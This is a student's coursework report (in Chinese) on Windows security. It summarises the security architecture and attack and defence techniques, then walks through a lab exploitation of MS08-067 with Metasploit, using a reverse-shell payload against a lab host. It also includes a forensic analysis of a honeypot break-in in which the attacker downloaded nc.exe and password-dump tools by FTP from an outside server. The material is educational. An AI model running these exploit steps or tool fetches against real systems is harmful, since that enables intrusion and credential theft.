20199120 2019-2020-2 《网络攻防实践》第7周作业
20199120 2019-2020-2 《网络攻防实践》第7周作业
前言
作业 | 答案 |
---|---|
这个作业属于哪个课程 | 网络攻防实践 |
这个作业的要求在哪里 | 第七次作业 Windows操作系统安全攻防 |
我在这个课程的目标是 | 学习、提高网络攻防的本领 |
这个作业在哪个具体方面帮助我实现目标 | 学习Windows操作系统安全攻防 |
1.本章知识点总结
1.1 Windows基本结构
Windows操作系统分为运行于处理器特权模式(ring0)的操作系统内核,以及运行在处理器非特权模式(ring3)的用户空间代码
Windows操作系统内核的基本模块包括如下。
- Windows执行体:即Windows内核核心文件ntoskml.exe 的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。
- Windows内核体:即Windows内核核心文件ntoskmnl.exe 中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处.理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
- 设备驱动程序:包括将用户I/O操作映射为特定硬件设备IO请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方
硬件厂商的硬件设备驱动程序加载进入内核执行。 - 硬件抽象层:即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层
代码。 - Windows窗口与图形界面接口内核实现代码:即win 32k.sys文件。
Windows操作系统在用户态的代码模块则包括如下。
- 系统支持进程:Windows 开机自动启动的系统内建服务进程,如负责登录用户身份认证的logon进程、会话管理进程等。
- 环境子系统服务进程:为操作系统运行环境提供支持的服务进程,Windows XP只支持Windows环境子系统,而符合POSIX标准的环境子系统则作为UNIX产品的免费服务所提供。
- 服务进程:通过Windows的服务管理机制所启动的--系列系统及网络服务,如TaskScheduler任务管理器服务,Microsoft SQL Server网络服务等。
- 用户应用软件:在用户态执行的各类用户应用软件。
- 核心子系统DLL:即kernel32.d1l/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一-个或多个Windows内部的系统服务调用。
在上述系统架构下,Windows 操作系统内核中实现了如下的核心机制。
- Windows进程和线程管理机制
- Windows内存管理机制
- Windows文件管理机制
- Windows注册表管理机制
- Windows的网络机制
1.2 Windows操作系统的安全体系结构与机制
1.2.1 Windows安全体系结构
- Windows操作系统基于引用监控器模型来实现基本的对象安全模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
- Windows系统安全体系结构示意图如下,最为核心的是SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
1.2.2 Windows身份认证机制
- Windows以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。对每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
- Windows为每个用户和计算机设置账户进行管理,本地Administrator和SYSTEM账户拥有最高权限;Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证。
1.2.3 Windows授权与访问控制机制
-
在用户等主体经过认证后,Windows会从内部数据库里读取该账户的信息,然后使用这些信息生成一个访问令牌,含有在该账户环境下启动的进程,都会获得这个令牌的副本。
-
系统内所有需要保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,其主要属性如下。
- Owner SID:对象所有者的SID
- Group SID: 对象所在基本用户组的SID安全标识符(兼容POSIX使用)
- DACL自主访问控制列表:指明了哪些安全中体可以何种方式来访问该对象 。
- SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
1.2.4 Windows安全审计机制
- LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录
1.2.5 其他安全机制
- 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。
1.3 Windows远程安全攻防技术
-
Windows远程攻击技术可分为以下几类
- 远程口令猜测与破解攻击:包括口令暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术。
- 攻击Windows网络服务:无论Windows自身独有的SMB、MSRPC、NETBIOS等网络服务,还是IIS、MSSQL等各种互联网服务在Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。
- 攻击Windows客户端及用户:由于近来Windows系统及本身服务安全性的有效提升,针对Web浏览器、第三方应用软件的客户端渗透攻击变得流行。
-
远程口令字猜测与破解防范措施
- 尽量关闭不必要开放的易受远程口令猜测攻击网络服务,包括TCP 139/445端口的SMB服务、TCP 135端口的WMI服务、TCP 3389端口的TS终端服务以及TCP 1433端口的MS SQL Server服务等。
- 配置主机防火墙来限制对上述端口的服务,如果用户仍然需要使用这些服务,但又希望能够提升这些服务对抗远程口令猜测的防护能力,则可以通过配置主机防火墙。
- 利用网络防火墙来限制到这些服务的访问。
- 应对远程口令字交换通信窃听与破解攻击最基本的途径是禁用过时而且存在本质上安全缺陷的LanMan与NTLM,而仅使用经过安全加固的NTLMv2与Kerberos认证协议,应保持Windows补T的自动更新并确认NTLMv2协议中发现的安全漏洞已被修补(MS08-068与MS10-012补丁)。
- 制定和实施强口令字策略,来确保用户设置符合一定的长度及复杂度要求的口令。
1.4 Windows 本地安全攻防技术
-
Windows 敏感信息窃取
- 包括Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感数据窃取
- 本地敏感信息窃取防范措施:使用更安全的口令字
-
Windows 消踪灭迹
- 包括关闭审计功能、清理事件日志、针对消踪灭迹的方法措施
-
Windows远程控制与后门程序
- 攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为命令行远程控公工具、图形化远程控制工具这两大类。
- 针对后门程序的防范措施:用一些后门检测软件来尝试发现攻击者隐藏的后门程序,常用的检测软件包括反病毒厂商所提供的杀毒软件,以及一些专业的后门及Rootkit检测软件,如Sysinternals 的RootkitRevealer、国内的IceSword冰刃等。
2.实践过程
2.1 动手实践:Metasploit Windows Attack
任务:使用Metasploit软件进行Windows远程渗透攻击实验; 使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权机器 | 角色 | IP地址 |
---|---|---|
kali | 攻击机 | 192.168.0.133 |
Win2kServer | 靶机 | 192.168.0.134 |
步骤1:
- 执行
sudo apt-get install metasploit-framework
安装metasploit
步骤2:
- 进入 metasploit
步骤3:
- 执行命令
search ms08_067
搜索 MS08-067漏洞
步骤4:
- 执行命令
use exploit/windows/smb/ms08_067_netapi
表示使用MS08-067作为我们攻击的目标漏洞。 - 执行命令
set PAYLOAD generic/shell_reverse_tcp
设置打开反向连接的载荷. - 执行命令
set LHOST 192.168.0.133
设置攻击机为kali - 执行命令
set RHOST 192.168.0.134
设置靶机为Win2kServer - 平台类型
set TARGET 0
(可有可无)
步骤5:
- 执行命令
exploit
发起攻击,成功获取靶机的shell - 执行命令
ipconfig
查看靶机Ip地址,可以看得出与在靶机查询到的信息一样
- 进入靶机的C盘新建一个名为wangchen的文件夹,可以看到新建成功
2.2 取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题。攻击者使用了什么破解工具进行攻击?
攻击者如何使用这个破解工具进入并控制了系统?
攻击者获得系统访问权限后做了什么?
我们如何防止这样的攻击?
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
问题1:攻击者使用了什么破解工具进行攻击?
步骤1:
首先使用wireshark打开.log文件,根据题目筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
基本都是TCP或者HTTP数据包
接下来找到编号117,发现攻击者打开了系统启动文件boot.ini
,同时发现%C0%AF
,%C0%AF
这样的字符,通过查询发现它是Unicode编码
步骤2:
追踪TCP数据流
追踪数据流时发现!ADM!ROX!YOUR!WORLD!
出现了很多次,查询可知这个来自一个名为msadc2.pl
的攻击工具
问题2:攻击者如何使用这个破解工具进入并控制了系统?
看到上面tcp流中攻击者写入shell进行一些操作进行攻击,过滤出攻击的shell命令进行解析,攻击者通过创建了ftpcom
脚本,使用ftp连接www.nether.net
,并以johna2k
为用户haxedj00
为密码下载 nc.exe
、pdump.exe
和samdump.dll
问题3:攻击者获得系统访问权限后做了什么?
由问题2得知攻击者使用了6969端口进行了攻击,所以使用过滤条件tcp.port == 6969
来查看
可以看到攻击者进入目录C:\Program Files\Common Files\System\msadc
,并且删除了文件samdump.dll
和pdump.exe
等
问题4:我们如何防止这样的攻击?
- 及时修补漏洞,对漏洞打上相应的补丁
- 防火墙封禁网络内部服务器发起的连接
- web server 在单独的文件卷上设置虚拟根目录
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server
问题5:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
显然是发现了,攻击者往一个文件里面写了这是他见过的最好的蜜罐
2.3 团队对抗实践:Windows系统远程渗透攻击和分析
任务:攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
过程和Metasploit Windows Attack实践一样,用wireshark来抓取查看
抓包发现有很多SMB包
从这个位置开始,靶机向攻击机发起了反弹式tcp连接
此时追踪tcp流可以看到攻击机获得shell后的操作
3.学习中遇到的问题及解决
- 问题1: 在打开Metasploit时遇到了这个问题
- 解决方法: 由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。执行下列命令
gem install bundler:1.17.3
gem update
4.实践总结
实践二 日志文件那个地方,参考了很多同学的博客,朦朦胧胧的,不知道如何下手分析,原理不懂还得有待提高。